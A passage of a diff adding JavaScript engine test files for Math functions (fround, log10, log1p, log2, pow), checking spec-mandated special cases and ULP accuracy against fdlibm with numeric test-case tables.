+assertEq(Math.fround(-FLT_MIN), -FLT_MIN);
+
+assertEq(Math.fround(-FLT_MIN / 2), -0); // halfway, round-nearest rounds up to -0 (even)
+assertEq(Math.fround(-FLT_MIN / 2 - Math.pow(2, -202)), -FLT_MIN); // first double < -FLT_MIN / 2, rounds down to -FLT_MIN
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/log10-approx.js b/js/src/tests/non262/Math/log10-approx.js
new file mode 100644
index 0000000000..0489448513
--- /dev/null
+++ b/js/src/tests/non262/Math/log10-approx.js
@@ -0,0 +1,9 @@
+assertNear(Math.log10(2), 0.3010299956639812);
+assertNear(Math.log10(7), 0.8450980400142568);
+assertNear(Math.log10(Math.E), Math.LOG10E);
+
+for (var i = -10; i < 10; i++)
+ assertNear(Math.log10(Math.pow(10, i)), i);
+
+reportCompare(0, 0, 'ok');
+
diff --git a/js/src/tests/non262/Math/log10-exact.js b/js/src/tests/non262/Math/log10-exact.js
new file mode 100644
index 0000000000..0c125306bf
--- /dev/null
+++ b/js/src/tests/non262/Math/log10-exact.js
@@ -0,0 +1,30 @@
+// Properties of Math.log10 that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.log10(NaN), NaN);
+
+// If x is less than 0, the result is NaN.
+assertEq(Math.log10(-1e-10), NaN);
+assertEq(Math.log10(-1e-5), NaN);
+assertEq(Math.log10(-1e-1), NaN);
+assertEq(Math.log10(-Number.MIN_VALUE), NaN);
+assertEq(Math.log10(-Number.MAX_VALUE), NaN);
+assertEq(Math.log10(-Infinity), NaN);
+
+for (var i = -1; i > -10; i--)
+ assertEq(Math.log10(i), NaN);
+
+// If x is +0, the result is −∞.
+assertEq(Math.log10(+0), -Infinity);
+
+// If x is −0, the result is −∞.
+assertEq(Math.log10(-0), -Infinity);
+
+// If x is 1, the result is +0.
+assertEq(Math.log10(1), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.log10(Infinity), Infinity);
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Math/log1p-approx.js b/js/src/tests/non262/Math/log1p-approx.js
new file mode 100644
index 0000000000..f1d120af68
--- /dev/null
+++ b/js/src/tests/non262/Math/log1p-approx.js
@@ -0,0 +1,20 @@
+assertNear(Math.log1p(1e-300), 1e-300);
+assertNear(Math.log1p(1e-15), 9.999999999999995e-16);
+assertNear(Math.log1p(1e-6), 9.999995000003334e-7);
+
+var log1p_data = [
+ [ 1.875817529344e-70, 1.875817529344e-70 ],
+ [ 6.261923313140869e-30, 6.261923313140869e-30 ],
+ [ 7.09962844069878e-15, 7.099628440698755e-15 ],
+ [ 1.3671879628418538e-12, 1.3671879628409192e-12 ],
+ [ 2.114990849122478e-10, 2.1149908488988187e-10 ],
+ [ 1.6900931765206906e-8, 1.690093162238616e-8 ],
+ [ 0.0000709962844069878, 0.00007099376429006658 ],
+ [ 0.0016793412882520897, 0.00167793277137076 ],
+ [ 0.011404608812881634, 0.011340066517988035 ],
+];
+
+for (var [x, y] of log1p_data)
+ assertNear(Math.log1p(x), y);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/log1p-exact.js b/js/src/tests/non262/Math/log1p-exact.js
new file mode 100644
index 0000000000..bec11b6597
--- /dev/null
+++ b/js/src/tests/non262/Math/log1p-exact.js
@@ -0,0 +1,29 @@
+// Properties of Math.log1p that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.log1p(NaN), NaN);
+
+// If x is less than -1, the result is NaN.
+assertEq(Math.log1p(-1 - 1e-10), NaN);
+assertEq(Math.log1p(-1 - 1e-5), NaN);
+assertEq(Math.log1p(-1 - 1e-1), NaN);
+assertEq(Math.log1p(-ONE_PLUS_EPSILON), NaN);
+
+for (var i = -2; i > -20; i--)
+ assertEq(Math.log1p(i), NaN);
+
+// If x is -1, the result is -∞.
+assertEq(Math.log1p(-1), -Infinity);
+
+// If x is +0, the result is +0.
+assertEq(Math.log1p(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.log1p(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.log1p(Infinity), Infinity);
+
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/log2-approx.js b/js/src/tests/non262/Math/log2-approx.js
new file mode 100644
index 0000000000..954f4c1cf9
--- /dev/null
+++ b/js/src/tests/non262/Math/log2-approx.js
@@ -0,0 +1,8 @@
+for (var i = -1074; i < 1023; i++)
+ assertNear(Math.log2(Math.pow(2, i)), i);
+
+assertNear(Math.log2(5), 2.321928094887362);
+assertNear(Math.log2(7), 2.807354922057604);
+assertNear(Math.log2(Math.E), Math.LOG2E);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/log2-exact.js b/js/src/tests/non262/Math/log2-exact.js
new file mode 100644
index 0000000000..160034ddb8
--- /dev/null
+++ b/js/src/tests/non262/Math/log2-exact.js
@@ -0,0 +1,30 @@
+// Properties of Math.log2 that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.log2(NaN), NaN);
+
+// If x is less than 0, the result is NaN.
+assertEq(Math.log2(-1e-10), NaN);
+assertEq(Math.log2(-1e-5), NaN);
+assertEq(Math.log2(-1e-1), NaN);
+assertEq(Math.log2(-Number.MIN_VALUE), NaN);
+assertEq(Math.log2(-Number.MAX_VALUE), NaN);
+assertEq(Math.log2(-Infinity), NaN);
+
+for (var i = -1; i > -10; i--)
+ assertEq(Math.log2(i), NaN);
+
+// If x is +0, the result is −∞.
+assertEq(Math.log2(+0), -Infinity);
+
+// If x is −0, the result is −∞.
+assertEq(Math.log2(-0), -Infinity);
+
+// If x is 1, the result is +0.
+assertEq(Math.log2(1), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.log2(Infinity), Infinity);
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Math/pow-approx-pow10.js b/js/src/tests/non262/Math/pow-approx-pow10.js
new file mode 100644
index 0000000000..c95eeab428
--- /dev/null
+++ b/js/src/tests/non262/Math/pow-approx-pow10.js
@@ -0,0 +1,51 @@
+if (typeof fdlibm === "undefined") {
+ var fdlibm = SpecialPowers.Cu.getJSTestingFunctions().fdlibm;
+}
+
+const f64 = new Float64Array(1);
+const ui64 = new BigUint64Array(f64.buffer);
+
+function toBits(n) {
+ f64[0] = n;
+ return ui64[0];
+}
+
+function errorInULP(actual, expected) {
+ // Handle NaN and +0/-0.
+ if (Object.is(actual, expected)) {
+ return 0;
+ }
+
+ let x = toBits(actual);
+ let y = toBits(expected);
+ return x <= y ? Number(y - x) : Number(x - y);
+}
+
+const maxExponent = Math.trunc(Math.log10(Number.MAX_VALUE));
+const minExponent = Math.trunc(Math.log10(Number.MIN_VALUE));
+
+assertEq(Math.pow(10, maxExponent + 1), Infinity);
+assertEq(Math.pow(10, minExponent - 1), 0);
+
+// Ensure the error is less than 2 ULP when compared to fdlibm.
+for (let i = minExponent; i <= maxExponent; ++i) {
+ let actual = Math.pow(10, i);
+ let expected = fdlibm.pow(10, i);
+ let error = errorInULP(actual, expected);
+
+ assertEq(error < 2, true,
+ `${10} ** ${i}: ${actual} (${toBits(actual).toString(16)}) != ${expected} (${toBits(expected).toString(16)})`);
+}
+
+// Ensure the error is less than 2 ULP when compared to parsed string |1ep|.
+for (let i = minExponent; i <= maxExponent; ++i) {
+ let actual = Math.pow(10, i);
+ let expected = Number("1e" + i);
+ let error = errorInULP(actual, expected);
+
+ assertEq(error < 2, true,
+ `${10} ** ${i}: ${actual} (${toBits(actual).toString(16)}) != ${expected} (${toBits(expected).toString(16)})`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Math/pow-approx.js b/js/src/tests/non262/Math/pow-approx.js
new file mode 100644
index 0000000000..02e761d9c9
--- /dev/null
+++ b/js/src/tests/non262/Math/pow-approx.js
@@ -0,0 +1,568 @@
+if (typeof fdlibm === "undefined") {
+ var fdlibm = SpecialPowers.Cu.getJSTestingFunctions().fdlibm;
+}
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+const f64 = new Float64Array(1);
+const ui64 = new BigUint64Array(f64.buffer);
+
+function toBits(n) {
+ f64[0] = n;
+ return ui64[0];
+}
+
+function errorInULP(actual, expected) {
+ // Handle NaN and +0/-0.
+ if (Object.is(actual, expected)) {
+ return 0;
+ }
+
+ let x = toBits(actual);
+ let y = toBits(expected);
+ return x <= y ? Number(y - x) : Number(x - y);
+}
+
+// Test methodology:
+//
+// Generate test cases for inputs where the original js::powi implementation
+// returns a different result than std::pow. If such inputs where found, compare
+// them against fdlibm::pow to find inputs where the error is larger than 1 ULP.
+//
+// Compile with:
+// -std=c++17 -O3 -msse -msse2 -mfpmath=sse -fno-math-errno -fno-exceptions -fno-rtti -march=native
+//
+// static bool test(double x, int32_t y) {
+// if (std::isnan(x)) {
+// return true;
+// }
+//
+// double t = js::powi(x, y);
+// double u = std::pow(x, static_cast<double>(y));
+// if (t == u) {
+// return true;
+// }
+//
+// uint64_t a;
+// std::memcpy(&a, &t, sizeof(double));
+//
+// uint64_t b;
+// std::memcpy(&b, &u, sizeof(double));
+//
+// double v = fdlibm::pow(x, y);
+//
+// uint64_t c;
+// std::memcpy(&c, &v, sizeof(double));
+//
+// double w = musl::pow(x, y);
+//
+// uint64_t d;
+// std::memcpy(&d, &w, sizeof(double));
+//
+// // Expect at most 1 ULP difference between std::pow and fdlibm::pow.
+// if ((b < c && c - b > 1) || (b > c && b - c > 1)) {
+// printf("!!! [fdlibm] %.53f ** %d: 0x%" PRIx64 " != 0x%" PRIx64 "\n", x, y, b, c);
+// exit(1);
+// }
+//
+// // Expect at most 1 ULP difference between std::pow and musl::pow.
+// if ((b < d && d - b > 1) || (b > d && b - d > 1)) {
+// printf("!!! [musl] %.53f ** %d: 0x%" PRIx64 " != 0x%" PRIx64 "\n", x, y, b, d);
+// exit(1);
+// }
+//
+// // Accept 1 ULP difference between js::powi and fdlibm::pow.
+// if ((a <= c && c - a <= 1) || (a >= c && a - c <= 1)) {
+// return true;
+// }
+//
+// // Output if a larger error was found.
+// printf("%.53f ** %d: 0x%" PRIx64 " != 0x%" PRIx64 " (0x%" PRIx64 ") (0x%" PRIx64 ")\n", x, y, a, b, c, d);
+// return false;
+// }
+//
+// int main() {
+// // Use mt19937 for reproducible results.
+// std::mt19937_64 gen64;
+// std::mt19937 gen32;
+//
+// for (uint64_t i = 0; i < 100'000'000'000; ++i) {
+// uint64_t x = gen64();
+// int32_t y = gen32();
+//
+// double f;
+// std::memcpy(&f, &x, sizeof(double));
+//
+// test(f, y);
+// }
+// }
+
+// Raw output:
+//
+// 0.99998738156596089776684266325901262462139129638671875 ** 38583256: 0x140854811fb319e7 != 0x140854811fe4d778 (0x140854811fe4d778) (0x140854811fe4d778)
+// -0.99843469603485224261874009243911132216453552246093750 ** 326215: 0x91dad4716de6fc4b != 0x91dad4716de5e587 (0x91dad4716de5e588) (0x91dad4716de5e587)
+// 0.00003722856305626354357250426541092735988058848306537 ** -33: 0x5e47357c3582e49e != 0x5e47357c3582e4a3 (0x5e47357c3582e4a3) (0x5e47357c3582e4a3)
+// -0.99996909838479330900895547529216855764389038085937500 ** 17078527: 0x9058409e5ea3b80a != 0x9058409e5eb11ef4 (0x9058409e5eb11ef4) (0x9058409e5eb11ef4)
+// 0.99992690642006631929206150743993930518627166748046875 ** -6725291: 0x6c42a167a8b7c0b2 != 0x6c42a167a8b81d0e (0x6c42a167a8b81d0e) (0x6c42a167a8b81d0e)
+// -0.99879181217764612110698863034485839307308197021484375 ** 485128: 0xb0d9c6f2f710d24 != 0xb0d9c6f2f71708d (0xb0d9c6f2f71708d) (0xb0d9c6f2f71708d)
+// -1.00560838484317760510577954846667125821113586425781250 ** 92252: 0x6e744b727536056b != 0x6e744b72753599a4 (0x6e744b72753599a4) (0x6e744b72753599a4)
+// 0.99999532655875444930870798998512327671051025390625000 ** 93511912: 0x1886c29a53ed9332 != 0x1886c29a53cba724 (0x1886c29a53cba724) (0x1886c29a53cba724)
+// -0.99989751779212987514711130643263459205627441406250000 ** -2864087: 0xda664b586d48712f != 0xda664b586d437e8c (0xda664b586d437e8c) (0xda664b586d437e8c)
+// -239.35307289280868303649185691028833389282226562500000000 ** -90: 0x137a8b43006c4438 != 0x137a8b43006c443e (0x137a8b43006c443e) (0x137a8b43006c443e)
+// 0.96128212369452570307259975379565730690956115722656250 ** -9670: 0x625d7eb275191f6f != 0x625d7eb2751920bf (0x625d7eb2751920c0) (0x625d7eb2751920bf)
+// 0.99996078564218904283222855156054720282554626464843750 ** 10583765: 0x1a829de67930f619 != 0x1a829de67951cc2d (0x1a829de67951cc2d) (0x1a829de67951cc2d)
+// -953.14032530394126752071315422654151916503906250000000000 ** 22: 0x4d8a6d863703112c != 0x4d8a6d863703112e (0x4d8a6d863703112e) (0x4d8a6d863703112e)
+// 0.99857985216514444370972114484175108373165130615234375 ** 335918: 0x14e345eb84f09d46 != 0x14e345eb84f036f4 (0x14e345eb84f036f4) (0x14e345eb84f036f4)
+// -1.20521595553711002857255607523256912827491760253906250 ** -2760: 0x117b0064dd165101 != 0x117b0064dd16511a (0x117b0064dd16511a) (0x117b0064dd16511a)
+// -1.19074911947068473594413262617308646440505981445312500 ** 3884: 0x7d132c80ed6973f6 != 0x7d132c80ed697072 (0x7d132c80ed697072) (0x7d132c80ed697072)
+// -0.99999908129426284819629699995857663452625274658203125 ** -172780371: 0xce400f20e4a13b1a != 0xce400f20e3e56454 (0xce400f20e3e56454) (0xce400f20e3e56454)
+// -0.00000000000000000000000000007930552628950037082519209 ** 8: 0x1142888ad3062fc1 != 0x1142888ad3062fbe (0x1142888ad3062fbe) (0x1142888ad3062fbe)
+// -0.99998583604065760521706351937609724700450897216796875 ** -5861784: 0x476b83d92617a928 != 0x476b83d9261b0d4e (0x476b83d9261b0d4e) (0x476b83d9261b0d4e)
+// 0.99989915564587761309667257592082023620605468750000000 ** 5468367: 0xe34d25f36eef64b != 0xe34d25f36f555ca (0xe34d25f36f555ca) (0xe34d25f36f555ca)
+// 0.99977805581863743444870351595454849302768707275390625 ** -130493: 0x428ba17ba9286df6 != 0x428ba17ba9282f94 (0x428ba17ba9282f94) (0x428ba17ba9282f94)
+// 29.19821057723854806909002945758402347564697265625000000 ** -20: 0x39d8ffec76e30251 != 0x39d8ffec76e3024a (0x39d8ffec76e3024a) (0x39d8ffec76e3024a)
+// 0.99985373283040668290766461723251268267631530761718750 ** 2345687: 0x20ff8c2fd8e5b4e0 != 0x20ff8c2fd8e00564 (0x20ff8c2fd8e00564) (0x20ff8c2fd8e00564)
+// -0.88383265987178571965188211834174580872058868408203125 ** -841: 0xc94c6878de27b17c != 0xc94c6878de27b20d (0xc94c6878de27b20d) (0xc94c6878de27b20d)
+// 0.99999589815682188298495702838408760726451873779296875 ** 72449292: 0x25233af2e809c6a6 != 0x25233af2e87ddc61 (0x25233af2e87ddc61) (0x25233af2e87ddc61)
+// 345736476.13618659973144531250000000000000000000000000000000000 ** -16: 0x2391db755176ac1b != 0x2391db755176ac19 (0x2391db755176ac19) (0x2391db755176ac19)
+// -0.99999307321818442506611290809814818203449249267578125 ** -55045397: 0xe250f3d69f25ec86 != 0xe250f3d69f03e875 (0xe250f3d69f03e875) (0xe250f3d69f03e875)
+// 1419676.56599932140670716762542724609375000000000000000000000 ** 25: 0x5fde72aa74287c2d != 0x5fde72aa74287c30 (0x5fde72aa74287c30) (0x5fde72aa74287c30)
+// 0.95797249286536323431562323094112798571586608886718750 ** -11483: 0x6c63b79e88c07b6f != 0x6c63b79e88c07a3f (0x6c63b79e88c07a3f) (0x6c63b79e88c07a3f)
+// 0.99998135132609855535434917328529991209506988525390625 ** 5682278: 0x3661650feb28b969 != 0x3661650feb22b7ed (0x3661650feb22b7ed) (0x3661650feb22b7ed)
+// -1.02020595459010832151136582979233935475349426269531250 ** -1668: 0x3ced0e90ddfec9a3 != 0x3ced0e90ddfecabc (0x3ced0e90ddfecabc) (0x3ced0e90ddfecabc)
+// 0.97281701550260646360612781791132874786853790283203125 ** 13717: 0x1dd88a88f24fc0d5 != 0x1dd88a88f24fb801 (0x1dd88a88f24fb801) (0x1dd88a88f24fb801)
+// -0.88724290003841266294415390802896581590175628662109375 ** -3437: 0xe502ab8ea591420d != 0xe502ab8ea5914139 (0xe502ab8ea5914139) (0xe502ab8ea5914139)
+// -0.99998630320599690701754980182158760726451873779296875 ** -11251995: 0xcdd44ff462cfbf32 != 0xcdd44ff462dbdcb2 (0xcdd44ff462dbdcb2) (0xcdd44ff462dbdcb2)
+// -0.99995743703658013235013868325040675699710845947265625 ** 13995099: 0x8a38604324e009d5 != 0x8a38604324c2ec7d (0x8a38604324c2ec7d) (0x8a38604324c2ec7d)
+// 0.99991090354494038816568490801728330552577972412109375 ** 7116340: 0x6c2ca56237c8161 != 0x6c2ca562366c00b (0x6c2ca562366c00b) (0x6c2ca562366c00b)
+// 0.00000022955540324908999561342678487341206761129797087 ** 27: 0x1ab703277bbb112d != 0x1ab703277bbb1131 (0x1ab703277bbb1130) (0x1ab703277bbb1131)
+// -1.00000041289256280663266807096078991889953613281250000 ** -365287834: 0x3255339a24caec8a != 0x3255339a26f00dc8 (0x3255339a26f00dc8) (0x3255339a26f00dc8)
+// -1.38949508997780957209045027411775663495063781738281250 ** 1996: 0x7b22ad71344bbd0b != 0x7b22ad71344bbddf (0x7b22ad71344bbddf) (0x7b22ad71344bbddf)
+// 0.99999867528282249118376512342365458607673645019531250 ** 164253172: 0x2c50f93fbc72a2b4 != 0x2c50f93fbb2d2fd4 (0x2c50f93fbb2d2fd4) (0x2c50f93fbb2d2fd4)
+// 1.00356688770562074708436739456374198198318481445312500 ** -141698: 0x12717fb35c5fd169 != 0x12717fb35c5ff8c8 (0x12717fb35c5ff8c8) (0x12717fb35c5ff8c8)
+// 368710687472107.18750000000000000000000000000000000000000000000000000 ** -20: 0x37282f0ae9be13c != 0x37282f0ae9be138 (0x37282f0ae9be138) (0x37282f0ae9be138)
+// 0.99246668780181890312519499275367707014083862304687500 ** -44617: 0x5e5ad2c000333e50 != 0x5e5ad2c0003351f5 (0x5e5ad2c0003351f5) (0x5e5ad2c0003351f5)
+// 1.13820783188362395499382273555966094136238098144531250 ** 1411: 0x506701df16f3a891 != 0x506701df16f3a70d (0x506701df16f3a70d) (0x506701df16f3a70d)
+// -0.99671841783028414241130121808964759111404418945312500 ** 97041: 0xa32c44e6e77f8d3b != 0xa32c44e6e77f6a7a (0xa32c44e6e77f6a7a) (0xa32c44e6e77f6a7a)
+// -0.57021831816264889614132016504299826920032501220703125 ** -802: 0x688ef2cc36fa60b3 != 0x688ef2cc36fa6064 (0x688ef2cc36fa6064) (0x688ef2cc36fa6064)
+// -0.97423450510790443601649712945800274610519409179687500 ** 23570: 0x874c760d601ec94 != 0x874c760d601e66f (0x874c760d601e66f) (0x874c760d601e66f)
+// -0.98067196425761504752216524138930253684520721435546875 ** -19882: 0x62ec606ceb9af0ae != 0x62ec606ceb9ae89c (0x62ec606ceb9ae89c) (0x62ec606ceb9ae89c)
+// 0.99683039770073134100414335989626124501228332519531250 ** -29823: 0x487816b919332b03 != 0x487816b919333fe4 (0x487816b919333fe4) (0x487816b919333fe4)
+// 0.99882797644578258378089685720624402165412902832031250 ** -540990: 0x792372efd5ca5ad2 != 0x792372efd5c92857 (0x792372efd5c92857) (0x792372efd5c92857)
+
+const testCases = [
+ [0.99998738156596089776684266325901262462139129638671875 , 38583256],
+ [-0.99843469603485224261874009243911132216453552246093750 , 326215],
+ [0.00003722856305626354357250426541092735988058848306537 , -33],
+ [-0.99996909838479330900895547529216855764389038085937500 , 17078527],
+ [0.99992690642006631929206150743993930518627166748046875 , -6725291],
+ [-0.99879181217764612110698863034485839307308197021484375 , 485128],
+ [-1.00560838484317760510577954846667125821113586425781250 , 92252],
+ [0.99999532655875444930870798998512327671051025390625000 , 93511912],
+ [-0.99989751779212987514711130643263459205627441406250000 , -2864087],
+ [-239.35307289280868303649185691028833389282226562500000000 , -90],
+ [0.96128212369452570307259975379565730690956115722656250 , -9670],
+ [0.99996078564218904283222855156054720282554626464843750 , 10583765],
+ [-953.14032530394126752071315422654151916503906250000000000 , 22],
+ [0.99857985216514444370972114484175108373165130615234375 , 335918],
+ [-1.20521595553711002857255607523256912827491760253906250 , -2760],
+ [-1.19074911947068473594413262617308646440505981445312500 , 3884],
+ [-0.99999908129426284819629699995857663452625274658203125 , -172780371],
+ [-0.00000000000000000000000000007930552628950037082519209 , 8],
+ [-0.99998583604065760521706351937609724700450897216796875 , -5861784],
+ [0.99989915564587761309667257592082023620605468750000000 , 5468367],
+ [0.99977805581863743444870351595454849302768707275390625 , -130493],
+ [29.19821057723854806909002945758402347564697265625000000 , -20],
+ [0.99985373283040668290766461723251268267631530761718750 , 2345687],
+ [-0.88383265987178571965188211834174580872058868408203125 , -841],
+ [0.99999589815682188298495702838408760726451873779296875 , 72449292],
+ [345736476.13618659973144531250000000000000000000000000000000000 , -16],
+ [-0.99999307321818442506611290809814818203449249267578125 , -55045397],
+ [1419676.56599932140670716762542724609375000000000000000000000 , 25],
+ [0.95797249286536323431562323094112798571586608886718750 , -11483],
+ [0.99998135132609855535434917328529991209506988525390625 , 5682278],
+ [-1.02020595459010832151136582979233935475349426269531250 , -1668],
+ [0.97281701550260646360612781791132874786853790283203125 , 13717],
+ [-0.88724290003841266294415390802896581590175628662109375 , -3437],
+ [-0.99998630320599690701754980182158760726451873779296875 , -11251995],
+ [-0.99995743703658013235013868325040675699710845947265625 , 13995099],
+ [0.99991090354494038816568490801728330552577972412109375 , 7116340],
+ [0.00000022955540324908999561342678487341206761129797087 , 27],
+ [-1.00000041289256280663266807096078991889953613281250000 , -365287834],
+ [-1.38949508997780957209045027411775663495063781738281250 , 1996],
+ [0.99999867528282249118376512342365458607673645019531250 , 164253172],
+ [1.00356688770562074708436739456374198198318481445312500 , -141698],
+ [368710687472107.18750000000000000000000000000000000000000000000000000 , -20],
+ [0.99246668780181890312519499275367707014083862304687500 , -44617],
+ [1.13820783188362395499382273555966094136238098144531250 , 1411],
+ [-0.99671841783028414241130121808964759111404418945312500 , 97041],
+ [-0.57021831816264889614132016504299826920032501220703125 , -802],
+ [-0.97423450510790443601649712945800274610519409179687500 , 23570],
+ [-0.98067196425761504752216524138930253684520721435546875 , -19882],
+ [0.99683039770073134100414335989626124501228332519531250 , -29823],
+ [0.99882797644578258378089685720624402165412902832031250 , -540990],
+];
+
+// Test program modified to avoid bases with |abs(x) < 1| and large exponents.
+//
+// ```cpp
+// // Skip over likely denormals.
+// if (-1 < f && f < 0) {
+// f -= 1;
+// } else if (0 < f && f < 1) {
+// f += 1;
+// }
+//
+// // Keep the power small.
+// y &= 63;
+// ```
+//
+// 7.86990183266223297664510027971118688583374023437500000 ** 54: 0x49fa67548289784a != 0x49fa675482897851 (0x49fa675482897850) (0x49fa675482897851)
+// -1.00000018751738117828153917798772454261779785156250000 ** 25: 0xbff00004ea6921f6 != 0xbff00004ea6921fc (0xbff00004ea6921fc) (0xbff00004ea6921fc)
+// 1.19908234423429393977755808009533211588859558105468750 ** 58: 0x40e246fe7b30c6ec != 0x40e246fe7b30c6e6 (0x40e246fe7b30c6e6) (0x40e246fe7b30c6e6)
+// 1.00000649317438283780745678086532279849052429199218750 ** 42: 0x3ff0011dffabb95c != 0x3ff0011dffabb950 (0x3ff0011dffabb950) (0x3ff0011dffabb950)
+// 863370098.16819441318511962890625000000000000000000000000000000 ** 27: 0x7206b860614eb6df != 0x7206b860614eb6d9 (0x7206b860614eb6d9) (0x7206b860614eb6d9)
+// -1.00011928123711690830077714053913950920104980468750000 ** 57: 0xbff01bf129d0ffab != 0xbff01bf129d0ffbf (0xbff01bf129d0ffbf) (0xbff01bf129d0ffbf)
+// -1.14006037237328494704513559554470703005790710449218750 ** 30: 0x404983fd4d57c4aa != 0x404983fd4d57c4a0 (0x404983fd4d57c4a0) (0x404983fd4d57c4a0)
+// -447.11057737163486081044538877904415130615234375000000000 ** 8: 0x4455a4e4be220fce != 0x4455a4e4be220fd0 (0x4455a4e4be220fd0) (0x4455a4e4be220fd0)
+// -1.03656507831253685836259137431625276803970336914062500 ** 20: 0x4000681e0886d6db != 0x4000681e0886d6d9 (0x4000681e0886d6d9) (0x4000681e0886d6d9)
+// -1.00000465330344945336094042431795969605445861816406250 ** 41: 0xbff000c81257efc1 != 0xbff000c81257efc6 (0xbff000c81257efc6) (0xbff000c81257efc6)
+// -1.00002726631492944164847358479164540767669677734375000 ** 14: 0x3ff00190579a2f93 != 0x3ff00190579a2f90 (0x3ff00190579a2f90) (0x3ff00190579a2f90)
+// 2512068.57641875604167580604553222656250000000000000000000000 ** 26: 0x627b50512391a46e != 0x627b50512391a46c (0x627b50512391a46c) (0x627b50512391a46c)
+// 3309586784.85019683837890625000000000000000000000000000000000000 ** 30: 0x7b3a5b69a3a40717 != 0x7b3a5b69a3a40719 (0x7b3a5b69a3a40719) (0x7b3a5b69a3a40719)
+// 1.40742719307547781149025922786677256226539611816406250 ** 19: 0x4084a6ad66b5f1ce != 0x4084a6ad66b5f1d1 (0x4084a6ad66b5f1d0) (0x4084a6ad66b5f1d1)
+// 1.00035740860596344958821646287105977535247802734375000 ** 36: 0x3ff0350873b3189e != 0x3ff0350873b318a0 (0x3ff0350873b318a0) (0x3ff0350873b318a0)
+testCases.push(
+ [7.86990183266223297664510027971118688583374023437500000 , 54],
+ [-1.00000018751738117828153917798772454261779785156250000 , 25],
+ [1.19908234423429393977755808009533211588859558105468750 , 58],
+ [1.00000649317438283780745678086532279849052429199218750 , 42],
+ [863370098.16819441318511962890625000000000000000000000000000000 , 27],
+ [-1.00011928123711690830077714053913950920104980468750000 , 57],
+ [-1.14006037237328494704513559554470703005790710449218750 , 30],
+ [-447.11057737163486081044538877904415130615234375000000000 , 8],
+ [-1.03656507831253685836259137431625276803970336914062500 , 20],
+ [-1.00000465330344945336094042431795969605445861816406250 , 41],
+ [-1.00002726631492944164847358479164540767669677734375000 , 14],
+ [2512068.57641875604167580604553222656250000000000000000000000 , 26],
+ [3309586784.85019683837890625000000000000000000000000000000000000 , 30],
+ [1.40742719307547781149025922786677256226539611816406250 , 19],
+ [1.00035740860596344958821646287105977535247802734375000 , 36],
+);
+
+// Test program modified to only use small integer bases (< 20) and positive exponents.
+//
+// ```cpp
+// f = static_cast<double>(x);
+// f = std::fmod(f, 20);
+// y &= 63;
+// ```
+//
+// 13.00000000000000000000000000000000000000000000000000000 ** 31: 0x471a3d23b248d522 != 0x471a3d23b248d520 (0x471a3d23b248d520) (0x471a3d23b248d520)
+// 13.00000000000000000000000000000000000000000000000000000 ** 41: 0x496a51a4d0054bb2 != 0x496a51a4d0054bb1 (0x496a51a4d0054bb0) (0x496a51a4d0054bb1)
+// 13.00000000000000000000000000000000000000000000000000000 ** 51: 0x4bba6635f3af40fa != 0x4bba6635f3af40f8 (0x4bba6635f3af40f8) (0x4bba6635f3af40f8)
+// 13.00000000000000000000000000000000000000000000000000000 ** 58: 0x4d58af19e7576d60 != 0x4d58af19e7576d5e (0x4d58af19e7576d5e) (0x4d58af19e7576d5e)
+// 13.00000000000000000000000000000000000000000000000000000 ** 63: 0x4e817b180a97c789 != 0x4e817b180a97c787 (0x4e817b180a97c787) (0x4e817b180a97c787)
+// 11.00000000000000000000000000000000000000000000000000000 ** 63: 0x4d8ec9288a0088ce != 0x4d8ec9288a0088d0 (0x4d8ec9288a0088d0) (0x4d8ec9288a0088d0)
+// 13.00000000000000000000000000000000000000000000000000000 ** 47: 0x4ace49afd4c20163 != 0x4ace49afd4c20161 (0x4ace49afd4c20161) (0x4ace49afd4c20161)
+// 13.00000000000000000000000000000000000000000000000000000 ** 41: 0x496a51a4d0054bb2 != 0x496a51a4d0054bb1 (0x496a51a4d0054bb0) (0x496a51a4d0054bb1)
+// 13.00000000000000000000000000000000000000000000000000000 ** 63: 0x4e817b180a97c789 != 0x4e817b180a97c787 (0x4e817b180a97c787) (0x4e817b180a97c787)
+// 13.00000000000000000000000000000000000000000000000000000 ** 31: 0x471a3d23b248d522 != 0x471a3d23b248d520 (0x471a3d23b248d520) (0x471a3d23b248d520)
+// 13.00000000000000000000000000000000000000000000000000000 ** 49: 0x4b43fea5137412eb != 0x4b43fea5137412e9 (0x4b43fea5137412e9) (0x4b43fea5137412e9)
+// 13.00000000000000000000000000000000000000000000000000000 ** 58: 0x4d58af19e7576d60 != 0x4d58af19e7576d5e (0x4d58af19e7576d5e) (0x4d58af19e7576d5e)
+// 13.00000000000000000000000000000000000000000000000000000 ** 31: 0x471a3d23b248d522 != 0x471a3d23b248d520 (0x471a3d23b248d520) (0x471a3d23b248d520)
+// 11.00000000000000000000000000000000000000000000000000000 ** 63: 0x4d8ec9288a0088ce != 0x4d8ec9288a0088d0 (0x4d8ec9288a0088d0) (0x4d8ec9288a0088d0)
+// 13.00000000000000000000000000000000000000000000000000000 ** 31: 0x471a3d23b248d522 != 0x471a3d23b248d520 (0x471a3d23b248d520) (0x471a3d23b248d520)
+testCases.push(
+ [13.00000000000000000000000000000000000000000000000000000 , 31],
+ [13.00000000000000000000000000000000000000000000000000000 , 41],
+ [13.00000000000000000000000000000000000000000000000000000 , 51],
+ [13.00000000000000000000000000000000000000000000000000000 , 58],
+ [13.00000000000000000000000000000000000000000000000000000 , 63],
+ [11.00000000000000000000000000000000000000000000000000000 , 63],
+ [13.00000000000000000000000000000000000000000000000000000 , 47],
+ [13.00000000000000000000000000000000000000000000000000000 , 41],
